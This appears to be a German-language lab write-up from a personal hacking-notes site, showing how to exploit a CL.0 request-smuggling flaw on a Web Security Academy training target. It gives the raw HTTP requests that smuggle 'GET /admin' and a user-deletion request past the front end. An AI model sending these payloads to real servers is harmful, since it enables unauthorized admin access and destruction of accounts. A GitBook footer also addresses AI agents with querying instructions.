> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-0-request-smuggling.md).

# CL.0-Request-Smuggling

### 0.CL-Request-Smuggling

#### **Laborzusammenfassung**

In diesem Szenario wird eine **CL.0** Schwachstelle ausgenutzt, bei der der Back-End-Server \*\* den Content-Length\*\*-Header für einige Pfade ignoriert. Diese Inkonsistenz ermöglicht es, eine zweite Anfrage in den Body einer scheinbar normalen POST-Anfrage einzuschleusen.

#### **Identifizierung des verwundbaren Punkts**

Nach einigen Tests stellen wir fest, dass die URL:

```
/resources/images/blog.svg
```

vom Backend anders behandelt wird:/ selbst wenn Content-Length auf null gesetzt ist, erhält der Server **den gesamten bereitgestellten Inhalt**, was ein perfektes Fenster für auf CL.0 basierendes Smuggling schafft.

#### **Einschleusen einer versteckten Anfrage**

Zuerst wird eine minimale POST-Anfrage gesendet, um das Verhalten zu bestätigen:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

Als Nächstes nutzen wir die Tatsache aus, dass das Back-End dennoch den Inhalt dafür liest **schmuggelt eine zweite Anfrage**, mit dem Ziel, das Admin-Panel zu erreichen:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
Test: A
```

Das Back-End interpretiert den eingeschleusten Teil als eigenständige Anfrage und ermöglicht es uns, die Front-End-Beschränkungen zu umgehen.

<figure><img src="/files/e61ed6a02e45c1c14080d7dc55bb7247501ee4fe" alt=""><figcaption></figcaption></figure>

#### **Löschung des Benutzers Carlos**

Sobald der Zugriff auf das Administrationspanel bestätigt ist, wird eine ähnliche Anfrage eingeschleust, um die Aktion auszulösen:

```http
/admin/delete?username=carlos
```

Das ergibt:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
Test: A
```

<figure><img src="/files/d4175b4ecef0bbc047d05e639d4c6b73ad117fec" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
